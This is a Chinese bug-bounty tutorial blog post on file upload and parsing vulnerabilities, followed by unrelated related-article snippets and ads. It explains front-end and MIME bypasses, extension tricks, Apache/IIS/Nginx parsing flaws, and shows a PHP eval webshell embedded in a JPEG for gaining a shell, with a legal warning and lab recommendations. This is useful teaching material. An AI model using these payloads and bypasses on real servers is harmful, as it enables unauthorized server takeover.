当前位置: 首页 > article >正文

【SRC漏洞挖掘系列】第04期:文件上传与解析——把图片变成“特洛伊木马”

上期回顾我们刚用 SQL 注入把数据库翻了个底朝天。本期我们来聊聊更暴力的漏洞——文件上传。如果说 SQL 注入是“偷”那文件上传就是直接往人家服务器里安炸弹。一、为什么文件上传是“高危”在 SRC 评级里GetShell拿到服务器权限​ 通常是最高级Critical。而文件上传是实现 GetShell 最直接的捷径。理想情况一句话木马- 上传成功 - 菜刀/蚁剑连接 - 控制服务器。现实情况一句话木马- WAF 拦截非法字符 - 服务器重命名 - 文件被放到无法执行的目录。所以我们需要“骗”过服务器。二、绕过前端的“纸老虎”很多开发以为在前端做个 JS 校验就安全了这叫掩耳盗铃。1. 场景还原网页 JS 代码if (file.type ! image/jpeg) { alert(只允许 JPG 图片); return false; }2. 绕过姿势禁用 JS浏览器按 F12把 JS 禁了随便传。改包先把马改成.jpg上传用 Burp Suite 抓包再把文件名改回.php。控制台修改在 Console 里直接删掉校验函数。SRC 提示这种漏洞一般评低危因为稍微有点安全意识的厂商都会做后端校验。三、绕过后端校验的“攻防战”这是实战中最精彩的部分。1. MIME 类型绕过Content-Type后端代码逻辑只允许image/jpeg。绕过抓包修改httpContent-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg -- 重点在这里伪装成图片2. 黑名单绕过老版本的噩梦如果后端禁止.php,.asp,.jsp。试试这些冷门后缀Windows/IISshell.php5shell.phtmlshell.asp;.jpg(IIS 6.0 经典漏洞分号截断)3. 大小写与双写大小写.PhP(Linux 区分大小写但有些中间件配置不严谨)。双写shell.pphphp(过滤php时删除第一个php剩下php)。四、解析漏洞给服务器“洗脑”有时候你上传的是.jpg但服务器却把它当成.php来执行。这就是解析漏洞。1. Apache 解析漏洞原理Apache 是从右往左解析后缀的。文件名shell.php.jpg解析顺序.jpg不认识 - 继续往左 -.php认识 -当成 PHP 执行。2. IIS 6.0 经典姿势目录解析/test.asp/shell.jpg(只要文件夹叫.asp里面的文件不管啥后缀都执行)。文件解析shell.asp;.jpg(分号截断)。3. Nginx 解析漏洞CVE-2013-4547Payloadshell.jpg\0.php解释Nginx 看到\0空字符截断认为后面是.php于是交给 FastCGI 处理结果执行了前面的 JPG 内容。五、实战演练制作“图片马”很多时候服务器会检查文件内容魔术头不是 JPEG 格式直接拦截。制作步骤Kali Linux / CMD# 将一句话木马追加到正常图片末尾 copy /b normal.jpg shell.php evil.jpg或者用 Exiftoolexiftool -Comment?php eval($_POST[cmd]); ? normal.jpg -o shell.jpg结果文件头是JFIF(图片)骗过后端校验。文件尾是?php ... ?服务器解析时执行代码。连接测试上传成功后访问http://target.com/uploads/evil.jpg。用蚁剑连接成功 GetShell六、SRC 报告中的“坑”无解析你传了个shell.php但它在/uploads/目录下没有执行权限。结果厂商可能忽略或者评为“无效”。自包含你传了个文件但无法访问路径不知道存哪了。结果无法证明危害评级降低。报告技巧一定要截图证明“能够执行系统命令”如whoami而不仅仅是“文件传上去了”。七、互动与思考绕过姿势适用场景成功率前端禁用JS​弱智站点90%MIME 绕过​仅校验 Content-Type60%图片马解析漏洞​强校验文件内容极高​ 互动话题各位老司机你们当年第一次 GetShell 是用什么姿势是经典的phpinfo()探针还是直接system(calc)弹计算器装逼⚠️ 法律红线警示严禁在未授权服务器上传 Webshell、挖矿病毒或任何形式的恶意软件。严禁利用 GetShell 权限查看、下载或篡改服务器内的用户数据这是犯罪。测试原则证明可以执行phpinfo()或简单的echo命令即可立即停止切勿进一步深入。靶机练习请在本地搭建Upload-Labs、DVWA​ 等靶场进行练习。技术是把双刃剑拿剑的手决定了它是凶器还是护盾。请务必守住法律底线。​ ️下一期我们将进入“业务逻辑漏洞上”。告别代码层面我们要开始“骗人”了——如何通过修改数据包把别人的快递改寄到你家敬请期待

相关文章:

【SRC漏洞挖掘系列】第04期:文件上传与解析——把图片变成“特洛伊木马”

上期回顾:我们刚用 SQL 注入把数据库翻了个底朝天。本期我们来聊聊更暴力的漏洞——文件上传。如果说 SQL 注入是“偷”,那文件上传就是直接往人家服务器里安炸弹。💣一、为什么文件上传是“高危”?在 SRC 评级里,GetS…...

利用Taotoken模型广场为不同任务场景选择合适的大模型

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 利用Taotoken模型广场为不同任务场景选择合适的大模型 当你的项目需要处理多种类型的任务时,例如同时涉及内容创作、代…...

将JSON文件作为Python的配置文件,读取和使用的写法

import osimport json#获取配置path os.getcwd() os.sep "config.json"conf Nonewith open(path, "r", encoding"utf-8") as f:if conf is None:conf json.loads(f.read())heard {"_token": f"{conf[token]}"}...

Linux内核平台设备深度盘点:从原理到实战的全面解析

1. 项目概述:一次对Linux内核“家底”的深度盘点在Linux内核开发的日常工作中,无论是为一块新的开发板适配驱动,还是排查一个诡异的硬件初始化问题,我们常常会面临一个基础却又关键的问题:当前系统里到底有哪些“平台设…...

如何彻底解决《神界:原罪2》模组冲突问题:Divinity Mod Manager 专业指南

如何彻底解决《神界:原罪2》模组冲突问题:Divinity Mod Manager 专业指南 【免费下载链接】DivinityModManager A mod manager for Divinity: Original Sin - Definitive Edition. 项目地址: https://gitcode.com/gh_mirrors/di/DivinityModManager …...

北京UPS不间断电源经销商推荐名录

一、推荐公司概览中伟博信(北京)电子科技有限公司山特电子(深圳)有限公司北京办事处施耐德电气(中国)有限公司北京分公司科华数据股份有限公司北京分公司深圳科士达科技股份有限公司北京子公司二、北京地区…...

3步搞定Windows字体个性化定制:终极免费方案

3步搞定Windows字体个性化定制:终极免费方案 【免费下载链接】noMeiryoUI No!! MeiryoUI is Windows system font setting tool on Windows 8.1/10/11. 项目地址: https://gitcode.com/gh_mirrors/no/noMeiryoUI 想让Windows系统字体告别千篇一律的单调样式吗…...

智能车竞赛光电组核心技术解析:从图像处理到PID控制

1. 项目概述:从“智能车”到“光电组”的硬核竞技如果你对嵌入式、自动控制或者机器人竞赛感兴趣,那么“智能车竞赛”这个名字你一定不陌生。它远不止是几个大学生拿着遥控车在赛道上跑圈那么简单,而是一个融合了机械、电子、控制、算法和计算…...

大数据之安装zookeeper

下载 官方下载地址:https://archive.apache.org/dist/zookeeper/ 解压 tar -zxvf zookeeper-3.4.13.tar.gz 创建目录 日志目录和数据目录 cd zookeeper-3.4.13/ # 数据目录 mkdir data # 数据目录的目录 mkdir data-log # 日志目录 mkdir logs 修改配置 日志…...

AMD游戏本ChinaJoy三连发:从3D V-Cache到性价比旗舰的全面解析

1. 项目概述:ChinaJoy 2023上的AMD游戏本盛宴每年ChinaJoy不仅是游戏玩家的狂欢,更是硬件厂商展示肌肉的舞台。今年,这个舞台的主角无疑是AMD。当大家还在讨论移动端处理器核心数大战时,AMD直接甩出了“缓存为王”的王炸&#xff…...

告别手动挖洞:用Netsparker自动化扫描你的Web应用(附实战报告解读)

告别手动挖洞:用Netsparker自动化扫描你的Web应用(附实战报告解读) 在快节奏的Web开发环境中,安全测试往往成为项目后期被压缩的环节。传统手动渗透测试需要安全专家投入数十小时,而中小团队常面临资源不足的困境。Net…...

4.2% 稳健扩容!工业厂房从传统基建向智慧绿色赛道破局

一、全球工业厂房市场规模工业厂房作为工业生产的核心载体,是支撑制造业发展的重要基础设施,其市场规模变化与全球工业经济活跃度高度绑定。据恒州诚思最新调研统计,2025 年全球工业厂房市场规模已达62580 亿元,在全球工业经济复苏…...

2026年写作类国际竞赛测评:从技术视角分析高含金量赛事与留学背景提升策略

导读:本文基于 2026 年最新赛事数据,从学术认可度、升学加成、参赛门槛、时间成本、获奖概率五个技术维度,对全球主流写作类国际竞赛进行量化测评。通过构建多维度评分模型,为留学申请者提供科学的竞赛选择与背景提升方案。 目录 …...

帮孩子建立时间观念:从认识“十分钟有多长”开始

很多家长都遇到过这样的困扰:让孩子“再玩十分钟就吃饭”,结果十分钟后他完全没反应,不是故意拖延,而是他真的不知道十分钟有多长。时间对孩子来说是抽象的,看不见摸不着。要帮孩子建立时间观念,不妨从感受…...

2025终极指南:如何用PyGlossary打破词典格式壁垒

2025终极指南:如何用PyGlossary打破词典格式壁垒 【免费下载链接】pyglossary A tool for converting dictionary files aka glossaries. Mainly to help use our offline glossaries in any Open Source dictionary we like on any operating system / device. 项…...

如何通过Excel MCP Server实现无Excel环境下的自动化表格处理

如何通过Excel MCP Server实现无Excel环境下的自动化表格处理 【免费下载链接】excel-mcp-server A Model Context Protocol server for Excel file manipulation 项目地址: https://gitcode.com/gh_mirrors/ex/excel-mcp-server 你是否曾因没有安装Microsoft Excel而无…...

荧光改性PEG磷脂

我们提供荧光改性PEG磷脂的定制开发与规模化制备服务,面向脂质体构建、纳米递送体系标记、膜界面行为追踪等研究与应用需求,可在分子结构设计、荧光模块选择、PEG链段调控以及磷脂骨架匹配等多个层面提供针对性方案,支持从实验室小试到中试放…...

如何快速掌握3DS硬件检测:面向初学者的完整3DSident使用指南

如何快速掌握3DS硬件检测:面向初学者的完整3DSident使用指南 【免费下载链接】3DSident PSPident clone for 3DS 项目地址: https://gitcode.com/gh_mirrors/3d/3DSident 你是否曾好奇自己的Nintendo 3DS内部藏着什么秘密?想知道它的制造日期、电…...

别再死记硬背了!用Python脚本模拟UDS 28服务,5分钟搞懂通信控制

用Python实战模拟UDS 28服务:5分钟掌握CAN总线通信控制 在汽车电子开发与测试中,UDS诊断协议的理解往往停留在理论层面,而实际动手操作才是掌握精髓的关键。28服务作为ISO14229-1标准中的通信控制核心,直接影响ECU的报文收发行为。…...

告别集群负载:用Docker Compose在外部机器部署Prometheus+Grafana监控K8S(附完整配置文件)

轻量化监控方案:Docker Compose 部署 PrometheusGrafana 监控 Kubernetes 集群 对于资源有限的中小团队或个人开发者来说,将监控系统与业务集群分离是一个明智的选择。传统的 Kubernetes 监控方案通常将 Prometheus 和 Grafana 部署在集群内部&#xff0…...

Photoshop图层批量导出终极指南:5分钟掌握高效工作流

Photoshop图层批量导出终极指南:5分钟掌握高效工作流 【免费下载链接】Photoshop-Export-Layers-to-Files-Fast This script allows you to export your layers as individual files at a speed much faster than the built-in script from Adobe. 项目地址: http…...

别再混着用了!详解Nginx 1.25.1中独立的http2指令与listen指令的拆分逻辑

Nginx配置演进:从listen指令到独立http2指令的技术深析 当你在Nginx 1.25.1的日志中发现the "listen ... http2" directive is deprecated警告时,这不仅仅是一个简单的语法变更通知。它标志着Nginx在协议支持架构上的一次重要演进,…...

“零关税”为中非合作装上“加速器”

科特迪瓦和加纳的醇香可可、肯尼亚的精品咖啡与鲜润牛油果、南非的清甜柑橘与醇厚红酒……5月1日起,这些“非洲好物”搭乘零关税“直通车”进入中国市场。这一天,中国面向20个不属于最不发达国家的非洲建交国实施零关税、为期2年,从而实现对5…...

思源宋体TTF完全指南:免费商用的高品质中文字体解决方案

思源宋体TTF完全指南:免费商用的高品质中文字体解决方案 【免费下载链接】source-han-serif-ttf Source Han Serif TTF 项目地址: https://gitcode.com/gh_mirrors/so/source-han-serif-ttf 思源宋体TTF版本是Google与Adobe联手打造的开源中文字体&#xff0…...

BepInEx框架指南:从游戏玩家到模组开发者的完整升级路径

BepInEx框架指南:从游戏玩家到模组开发者的完整升级路径 【免费下载链接】BepInEx Unity / XNA game patcher and plugin framework 项目地址: https://gitcode.com/GitHub_Trending/be/BepInEx 你是否曾经羡慕过那些能够为游戏添加新内容、修改界面、甚至创…...

Prompt核心原则与技巧

1. Prompt的本质Prompt是用户和模型之间的"接口"。设计好的Prompt就像把话说清楚——越清楚,模型越能给你想要的答案。类比:就像你请人帮忙做事:说"帮我处理一下" → 对方可能做错说"帮我把这封信装进信封&#xff…...

2026墙体广告供应商亲测靠谱!

行业痛点分析墙体广告领域面临着诸多核心技术挑战。传统户外大牌、短视频投放费用高昂,单次投放曝光有限,数据表明,下沉市场触达成本居高不下,中小品牌难以承担长期投放。城市广告无法渗透乡镇、农村等下沉市场,目标客…...

企业级应用如何通过taotoken统一管理多个大模型api调用与成本

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 企业级应用如何通过Taotoken统一管理多个大模型API调用与成本 对于需要集成多种大语言模型的企业技术团队而言,直接对接…...

第八章:AI产品的技术尽调——如何评估AI供应商

本章难度:★★★★☆ | 预计阅读时间:10分钟 你将学到:AI供应商评估的八大维度、安全认证与AI特有风险、2026年合规框架(EU AI Act/ISO 42001/GDPR)、数据隐私条款、模型能力评估方法、以及PM可操作的技术尽调清单 引言:为什么AI供应商需要"特殊体检" 老板说:…...

第七章:LLM输出质量评估方法——从指标到流程

本章难度:★★★★☆ | 预计阅读时间:10分钟 你将学到:LLM评估的四大核心维度、三大评估框架对比、LLM-as-Judge的用法与局限、人工评估设计方法、红队测试流程、以及如何建立完整的评估体系 引言:为什么评估是AI产品的核心竞争力 你上线了一个RAG聊天机器人,工程师说&qu…...